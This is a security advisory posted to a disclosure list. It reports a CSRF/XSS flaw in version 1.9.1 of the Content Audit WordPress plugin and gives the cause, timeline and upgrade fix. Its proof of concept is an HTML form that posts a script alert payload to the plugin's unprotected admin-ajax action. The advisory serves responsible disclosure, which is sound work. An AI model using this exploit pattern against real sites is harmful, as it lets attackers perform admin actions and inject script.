[FD] CSRF/XSS in Content Audit allowing an unauthenticated attacker to do almost anything an admin can (WordPress plugin)

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Details
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Software: Content Audit
Version: 1.9.1
Homepage: https://wordpress.org/plugins/content-audit/
Advisory report: https://security.dxw.com/advisories/csrf-xss-content-audit/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

Description
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CSRF/XSS in Content Audit allowing an unauthenticated attacker to do almost 
anything an admin can

Vulnerability
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The plugin contains an admin_ajax action which is not protected with a nonce. 
One of the values submitted appears unescaped on the list of pages.

Proof of concept
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Install/activate the plugin
Make sure you have a post with ID=2 (or edit the HTML provided below)
Settings > Content Audit > select at least “Pages” for “Audited content types”
Visit a page containing the below HTML
Click submit
Visit http://localhost/wp-admin/edit.php?post_type=page to receive the XSS 
payload

<form method=\"POST\" 
action=\"http://localhost/wp-admin/admin-ajax.php?action=content_audit_save_bulk_edit\";>
 <input type=\"text\" name=\"post_ids[]\" value=\"2\">
 <input type=\"text\" name=\"_content_audit_owner\" value=\"Elliot Alderson\">
 <input type=\"text\" name=\"_content_audit_expiration_date\" 
value=\"2020-01-01\">
 <input type=\"text\" name=\"_content_audit_notes\" 
value=\"&lt;script>alert(1)&lt;/script>\">
 <input type=\"submit\">
</form>
 

Mitigations
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Upgrade to version 1.9.2 or later.

Disclosure policy
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dxw believes in responsible disclosure. Your attention is drawn to our 
disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@xxxxxxx to acknowledge this report if you 
received it via a third party (for example, plugins@xxxxxxxxxxxxx) as they 
generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this 
report with 14 days.

Timeline
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2017-08-21: Discovered
2017-09-08: Reported to vendor by email
2017-09-08: First response from vendor
2017-09-08: Vendor reports fixed in 1.9.2
2017-09-26: Advisory published



Discovered by dxw:
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Tom Adams
Please visit security.dxw.com for more information.
          


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